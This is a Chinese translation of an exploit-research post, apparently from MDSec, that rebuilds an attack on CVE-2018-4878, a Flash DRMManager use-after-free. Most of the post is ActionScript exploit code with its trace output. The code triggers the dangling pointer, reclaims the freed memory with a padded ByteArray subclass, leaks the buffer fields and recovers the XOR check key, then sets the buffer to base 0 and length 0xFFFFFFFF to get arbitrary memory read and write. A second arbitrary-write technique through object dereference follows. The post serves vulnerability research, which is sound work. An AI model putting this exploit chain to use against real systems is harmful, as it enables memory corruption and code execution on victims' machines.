导语:Flash的漏洞利用仍然可以绕过Adobe强化的功能,特别是在UAF的情况下,我们可以完全控制属性值并且可以泄漏内存。

分析  CVE-2018-4878

首先,让我们用一个简单的例子来展示这个漏洞是如何触发的:

public function triggeruaf() : void {
 var sdk :PSDK = null;
 var dispatch:PSDKEventDispatcher = null;
 sdk = PSDK.pSDK;
 dispatch = sdk.createDispatcher();
 this.mediaplayer = sdk.createMediaPlayer(_loc2);
 this.listener = new MyListener();
 this.mediaplayer.drmManager.initialize(this.listener);
 this.listener = null;
 }
 public function runexploit() : void {
 this.triggeruaf();
 try {
 new LocalConnection().connect(“foo”);
 new LocalConnection().connect(“foo”);
 } catch (e:Error) {
 this.danglingpointer = new MyListener();
 }
 }
 public class MyListener implements DRMOperationCompleteListener
 {
 public function MyListener()
 {
 super();
 }
 public function onDRMOperationComplete():void {
 trace(“IN COMPLETE”);
 }
 public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
 trace(“IN ERROR”);
 }
 }

这里存在的缺陷存在于DRMManager的“initialize”调用中,期望实现DRMOperationCompleteListener接口的对象。在可以使用之前,通过将“ this.listener ”设置为NULL来释放对象,强制分配的内存由垃圾回收器释放。

接下来,我们分配一个DRMOperationCompleteListener对象,并在“ danglingpointer ”变量中保存对此对象的引用。这个对象是free'd,但是“ danglingpointer ”变量仍然引用这个内存,这意味着我们有了一个“use-after-free”条件。

如果我们继续回顾所披露的漏洞,我们会看到增加了一个计时器:

public function runexploit() : void {
 this.triggeruaf();
 try {
 new LocalConnection().connect(“foo”);
 new LocalConnection().connect(“foo”);
 } catch (e:Error) {
 this.danglingpointer = new MyListener();
 }
 this.timer = new Timer(100, 1000);
 this.timer.addEventListener(“timer”, this.uafcheck);
 this.timer.start();
 }

这个定时器调用一个检查UAF条件的新函数:

public function uafcheck(param1:TimerEvent) : void {
 if (this.danglingpointer.a1 != 0x31337) {
 // If here, we know that we have a danglingpointer, so we stop the timer
 this.timer.stop();
 }
 }

这个定时器用于定期检查我们的“ danglingpointer ”对象是否已释放,并且现在指向已释放的内存。最终情况就是这样的,它允许我们用另一个对象填充这个空闲的空间。

到此为止,事情变得有点模糊。在我们发现的截图和示例中,似乎没有一个共享的用于生成填充此内存的对象(特别是“ Mem_Arr ”类)的类的详细信息。但是,我们确实找到了利用此漏洞的方法,重新创建了我们所认为的这个类正在进行的操作,但是如果你拥有该恶意软件的副本,我们非常有兴趣了解我们在匹配恶意软件的漏洞方面有多接近。

我们从网上的讨论中知道,用于获得对Flash的控制权的原语是一个ByteArray,这意味着我们要用一个ByteArray对象填充free'd内存:

image.png

但问题是我们知道由于大小的差异,ByteArray可能不会被分配到free'd DRMOperationCompleteListener对象的位置。然而,我们可以创建一个新的类来扩展ByteArray类并添加其他属性来扩展对象的大小。为此,我们创建一个新类“ Mem_Arr ”:

public class Mem_Arr extends ByteArray
 {
 var a1:uint = 0x31338;
 var a2:uint = 0x31338;
 var a3:uint = 0x31338;
 var a4:uint = 0x31338;
 var a5:uint = 0x31338;
 var a6:uint = 0x31338;
 var a7:uint = 0x31338;
 var a8:uint = 0x31338;
 var a9:uint = 0x31338;
 var a10:uint = 0x31338;
 var a11:uint = 0x31338;
 var a12:Object = 0x31338;
 var a13:Object = 0x31338;
 var a14:Object = 0x31338;
 var a15:Object = 0x31338;
 var a16:Object = 0x31338;
 public function Mem_Arr()
 {
 }
 }

此外,我们还将修改我们的“ MyListener ”对象以包含许多其他属性:

public class MyListener implements DRMOperationCompleteListener
 {
 var a1:uint = 0x31337;
 var a2:uint = 0x31337;
 var a3:uint = 0x31337;
 var a4:uint = 0x31337;
 var a5:uint = 0x31337;
 var a6:uint = 0x31337;
 var a7:uint = 0x31337;
 var a8:uint = 0x31337;
 var a9:uint = 0x31337;
 var a10:uint = 0x31337;
 var a11:uint = 0x31337;
 var a12:uint = 0x31337;
 var a13:uint = 0x31337;
 var a14:uint = 0x31337;
 var a15:uint = 0x31337;
 var a16:uint = 0x31337;
 var a17:uint = 0x31337;
 var a18:uint = 0x31337;
 var a19:uint = 0x31337;
 var a20:uint = 0x31337;
 var a21:uint = 0x31337;
 var a22:uint = 0x31337;
 var a23:uint = 0x31337;
 var a24:uint = 0x31337;
 var a25:uint = 0x31337;
 var a26:uint = 0x31337;
 var a27:uint = 0x31337;
 var a28:uint = 0x31337;
 var a29:uint = 0x31337;
 var a30:uint = 0x31337;
 var a31:uint = 0x31337;
 var a32:uint = 0x31337;
 var a33:uint = 0x31337;
 var a34:uint = 0x31337;
 public function MyListener()
 {
 super();
 }
 public function onDRMOperationComplete():void {
 trace(“IN COMPLETE”);
 }
 public function onDRMError(major:uint, minor:uint, errorString:String, errorServerUrl:String):void {
 trace(“IN ERROR”);
 }
 }

这样做的原因是为了确保两个“ myListener的 ”和“ Mem_Arr ”的对象是大小相似,让我们使用一个“ Mem_Arr ”来替换free'd“ myListener”。

我们还将更新我们的“ uafcheck ”函数并从“ Mem_Arr ”对象中转储内存,以确保我们处于正确的轨道上:

public function uafcheck(param1:TimerEvent) : void {
 if (this.danglingpointer.a1 != 0x31337) {
 // If here, we know that we have a danglingpointer, so we stop the timer
 this.timer.stop();
 // Allocate our new extended ByteArray
 var buffer = new Mem_Arr();
 buffer.length = 0x512;
 buffer.position = 0x31;
 // Here, we have a MyListener object (this.danglingpointer)
 // which is actually pointing to a Mem_Arr (buffer) object
 // Memory dump of the Mem_Arr object
 trace(“===============”);
 trace(this._vuln2.a1.toString(16));
 trace(this._vuln2.a2.toString(16));
 trace(this._vuln2.a3.toString(16));
 trace(this._vuln2.a4.toString(16));
 trace(this._vuln2.a5.toString(16));
 trace(this._vuln2.a6.toString(16));
 trace(this._vuln2.a7.toString(16));
 trace(this._vuln2.a8.toString(16));
 trace(this._vuln2.a9.toString(16));
 …
 }
 }

现在,如果我们执行这个SWF,我们会发现我们的跟踪日志包含以下内容:

===============
 db8293c
 44
 0
 64414f44
 6445f9e4
 64414f40
 6446acf8
 db17f60
 8805000
 89ef910
 0
 0
 31
 64414f30
 99d5020
 0
 0
 64414f38
 3
 0
 31338
 31338
 31338
 31338
 31338
 …

虽然这可能看起来像是DWORD的随机序列,但实际上我们看看我们有什么。首先,我们看到“ 0x31 ” 的值,它实际上是我们更新ByteArray / Mem_Arr对象的“position ”属性值。

回顾ByteArray类的源代码,我们知道ByteArray实际上由以下属性组成:

private:
 Toplevel* const m_toplevel;
 MMgc::GC* const m_gc;
 WeakSubscriberList m_subscribers;
 MMgc::GCObject* m_copyOnWriteOwner;
 uint32_t m_position;
 FixedHeapRef<Buffer> m_buffer;
 bool m_isShareable;

其中一个属性是“ m_position ”,它包含“ position ”属性。这意味着我们正处于正确的轨道上,现在有能力操纵ByteArray的底层内存。

实际上我们感兴趣的是“ m_buffer ”属性,它是一个指向包含以下内容的Buffer对象的指针:

public:
 uint8_t* array;
 uint32_t capacity;
 uint32_t length;
 // Thanks to “Guanxing Wen” for the following (https://www.blackhat.com/docs/eu-16/materials/eu-16-Wen-Use-After-Use-After-Free-Exploit-UAF-By-Generating-Your-Own.pdf)
 uint32_t copyOnWrite;
 uint32_t check_array;
 uint32_t check_capacity;
 uint32_t check_length;
 uint32_t check_copyOnWrite;

在这里,我们看到Google Project Zero中引入的缓解措施之一,这些缓解措施用作XOR检查值的一些属性。我们需要通过取消引用m_buffer地址来访问此结构。

为此,我们添加了一个新类:

public class Modify
 {
 var a1:uint = 0x31339;
 var a2:uint = 0x31339;
 var a3:uint = 0x31339;
 var a4:uint = 0x31339;
 var a5:uint = 0x31339;
 var a6:uint = 0x31339;
 var a7:uint = 0x31339;
 var a8:uint = 0x31339;
 …
 }

并从我们的Mem_Arr类添加了对这个类的引用:

public class Mem_Arr extends ByteArray
 {
 var a1:uint = 0x31338;
 var a2:uint = 0x31338;
 var a3:uint = 0x31338;
 var a4:uint = 0x31338;
 var a5:uint = 0x31338;
 var a6:uint = 0x31338;
 var a7:uint = 0x31338;
 var a8:uint = 0x31338;
 var a9:uint = 0x31338;
 var a10:uint = 0x31338;
 var o1:Modify = new Modify();
 var a12:Object = 0x31338;
 var a13:Object = 0x31338;
 var a14:Object = 0x31338;
 var a15:Object = 0x31338;
 var a16:Object = 0x31338;
 public function Mem_Arr()
 {
 }
 public function DumpPointer() : void {
 trace(“–> ” + this.o1.a1.toString(16));
 trace(“–> ” + this.o1.a2.toString(16));
 trace(“–> ” + this.o1.a3.toString(16));
 trace(“–> ” + this.o1.a4.toString(16));
 trace(“–> ” + this.o1.a5.toString(16));
 trace(“–> ” + this.o1.a6.toString(16));
 trace(“–> ” + this.o1.a7.toString(16));
 trace(“–> ” + this.o1.a8.toString(16));
 trace(“–> ” + this.o1.a9.toString(16));
 trace(“–> ” + this.o1.a10.toString(16));
 trace(“–> ” + this.o1.a11.toString(16));
 }
 }

这里的想法是通过悬挂指针指向“ m_buffer ”地址来设置我们的“ Mem_Arr ”对象的“ o1 ”属性,然后通过“Modify”类取消引用对象。我们更新了“ o1 ”属性:

// Set o1 to the m_buffer
 this.danglingpointer.a31 = this.danglingpointer.a15 – 0x10;
 this.buffer.DumpPointer();

执行此操作,我们看到以下返回的记录值:

–> 64414f28
 –> 1
 –> 8c34ab0
 –> 512
 –> 512
 –> 0
 –> b9baa73b
 –> b179e899
 –> b179e899
 –> b179ed8b
 –> 0
 –> 0

在这里,我们清楚地看到ByteArray的长度为0x512,再次表明我们处于正确的位置。让我们将这些值覆盖到ByteArray对象:

–> 64414f28
 –> 1
 –> 8c34ab0   uint8_t* array;
 –> 512       uint32_t capacity;
 –> 512       uint32_t length;
 –> 0         uint32_t copyOnWrite;
 –> b9baa73b  uint32_t check_array;
 –> b179e899  uint32_t check_capacity;
 –> b179e899  uint32_t check_length;
 –> b179ed8b  uint32_t check_copyOnWrite;
 –> 0
 –> 0

所以在这里我们有能力修改“Buffer”对象的底层内存。

有趣的是,我们在这里还看到,我们可以通过“ check_copyOnWrite ”值为0 ^ KEY来恢复XOR的Key,所以在这种情况下我们知道我们的XOR的Key实际上是b179ed8b。

让我们在“ Mem_Arr ”中添加一个新方法来更新“ m_buffer ”,使其指向0x00000000的基址,并保持0xFFFFFFFF的限制:

public function UpdateBuffer() : void {
 var xorkey = this.o1.a10;
 // Set our address to 0, and length to max
 this.o1.a3 = 0;
 this.o1.a4 = 0xFFFFFFFF;
 this.o1.a5 = 0xFFFFFFFF;
 // Update the XOR check
 this.o1.a7 = this.o1.a3 ^ xorkey;
 this.o1.a8 = this.o1.a4 ^ xorkey;
 this.o1.a9 = this.o1.a5 ^ xorkey;
 }

就是这样……当触发时,缓冲区长度被设置为0xFFFFFFFF,基地址被设置为0x00000000,并且安全检查被更新。

使用这个原语,我们现在可以完全控制Flash环境,并可以覆盖任意的内存位置:

image.png

漏洞的源代码可以在MDSec ActiveBreach github上找到。

这不是全部的利用方式

在重新创建上述漏洞的同时,我们实际上遇到了另一种有趣的方式来操作内存内容,而无需使用ByteArray或Vector <uint>并且必须需要使用XOR保护。

通过利用对象引用,就像上面用来读取“ m_buffer ”属性一样,我们实际上有一个相当稳定的R/W原语。

例如,让我们修改我们上面的POC来尝试读取任意的内存位置。在这里,我们将“ o1 ”引用设置为0x41414141:

// Set o1 to 0x41414141
 this.danglingpointer.a31 = 0x41414141 – 0x10;

并调用添加到Mem_Arr, RW()的新函数:

public function RW() : void {
 this.o1.a1 = 0x31337;
 }
this.buffer.RW();

并重新运行我们的示例:

image.png

在这里我们可以看到,使用这个对象解除引用,我们可以用我们选择的值覆盖任何内存位置。

同样,我们无法访问完整的恶意软件样本,但我们很想知道这种技术是否被原始漏洞利用。

在我们的下一篇文章中,我们将研究如何使用上述原语来启动自定义的shellcode。那么从这一切中我们能获得什么呢?当然首先是Flash的漏洞利用仍然可以绕过Adobe强化的功能,特别是在UAF的情况下,我们可以完全控制属性值并且可以泄漏内存。

其次,当你可以损坏的对象时,是有多种方法来操纵Flash的任意内存的,虽然强化防御措施已经引入Vector.<uint>和ByteArray,但是对象解除引用一样可以使用。

源链接

Hacking more

...